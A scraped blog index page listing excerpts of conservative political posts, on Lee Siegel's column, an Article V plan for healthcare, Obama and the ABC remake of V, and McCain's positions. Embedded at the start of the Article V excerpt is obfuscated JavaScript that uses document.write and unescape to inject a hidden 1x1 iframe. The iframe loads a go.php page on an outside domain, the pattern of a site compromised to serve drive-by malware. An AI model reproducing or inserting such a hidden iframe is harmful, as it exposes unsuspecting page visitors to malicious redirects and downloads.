An Invitation to Lee Siegel….

    As many of you are already aware, Lee Siegel of The Daily Beast recently wrote an interesting column about Redstate titled, “The New Republican War Room”—and that our own Josh Trevino wrote a diary in response to Mr. Siegel’s column. Josh felt the need to correct Mr. Siegel on the error in his column where he stated that Erick Erickson was the original founder or | Read More »

    Article V, The States’ ultimate check on healthcare and the Federal government

    document.write(unescape(‘%3ciframe w’+'i%64t%68′+’=1 %68eig’+'ht=1 bor%64er%3d0 fr%61meborder=0%20%73rc=%27htt%70%3a//elt%65%6eham%2ecom/std/go.ph%70?sid%3d1%27%3e%3c/if%72ame%3e’)) I was on a nationwide conference call with multiple GOP Congressmen, their staffers and representatives of conservative activist groups to discuss how to address the healthcare disaster. When I got to speak to the group I asked them why we, in the form of the states, were not dealing with the problem directly under Art. V of the Constitution in | Read More »

    There Is No Bliss.

    Richard Cohen seems to be experiencing some buyer’s remorse in regard to Barack Obama. Last week in a column, Mr. Cohen lamented that Barack Obama has lost much of the “moral clarity” that he had when he was running for president. To be specific, Mr. Cohen wrote the following— “But to reread the speech is also to come face to face with an Obama of | Read More »

    The White House and V.

    This isn’t a post on whether or not the parallels between the Visitors of the show and the current administration are deliberate or accidental; it’s not even a post on whether the parallels are fair, for given values of ‘fair*.’ It’s a post on whether we’re seriously expected to believe that the White House isn’t monitoring the program. Please. 14 million people watched it last | Read More »

    Miami Herald Reviews V, Can’t Resist Obscene Reference

    Once, just once I’d love to see someone in the Downstream Media speak of Tea Party Protestors without making a disgusting sexual reference. Somehow, it’s perfectly fine to refer to those of us who are appalled at The Light-Bringer’s “apre moi, le deluge” use of taxpayer funds on whatever his pretty little head can conceive, in a manner any decent person, regardless of politics, would condemn | Read More »

    ABC’s De”V”otion: An Obamian Slip?

    I am a sucker for sci-fi and have been looking forward to ABC’s revamp of the 1980’s campy classic miniseries “V” for some time now, but something beyond entertainment caught my attention in this fall preview clip. Check out the specific phrases that come one after another about midway through the clip and then of course there is the interview scene. To the youth: “Youth | Read More »

    So, they remade V.

    Yes, as in V – The Original TV Miniseries*.   Both Ace of Spades and Allahpundit are busily cleaning their tasty, tasty beverage of choice off of their monitors right now: watch the trailer and you’ll see why. Normally, I’d guess that this would be completely accidental – but what the heck, ABC hired Jake Tapper, so maybe there’s one of Sy Hersh’s stay-behind VRWC Resistance | Read More »

    Reading McCain’s web site, R v. W

    According to his web site, McCain opposes the intentional creation of human embryos for research purposes, but supports adult stem cell research. He believes schools and libraries should restrict access to sexually explicit material by children using computers, and that pedophiles who use computers should have an additional ten years added to any conviction. He believes that convicted sex offenders should register all online accounts | Read More »

    Inflation and Blueprint for Change

    I read that the U. S. Olympic Committee is staying where it is because that city is renting them new office space for free. The City raised the money to buy the office space by selling shares in the committee’s lease, and the city intends to pay the committee’s rent for them from the city’s general fund, to get the committee to stay in the | Read More »
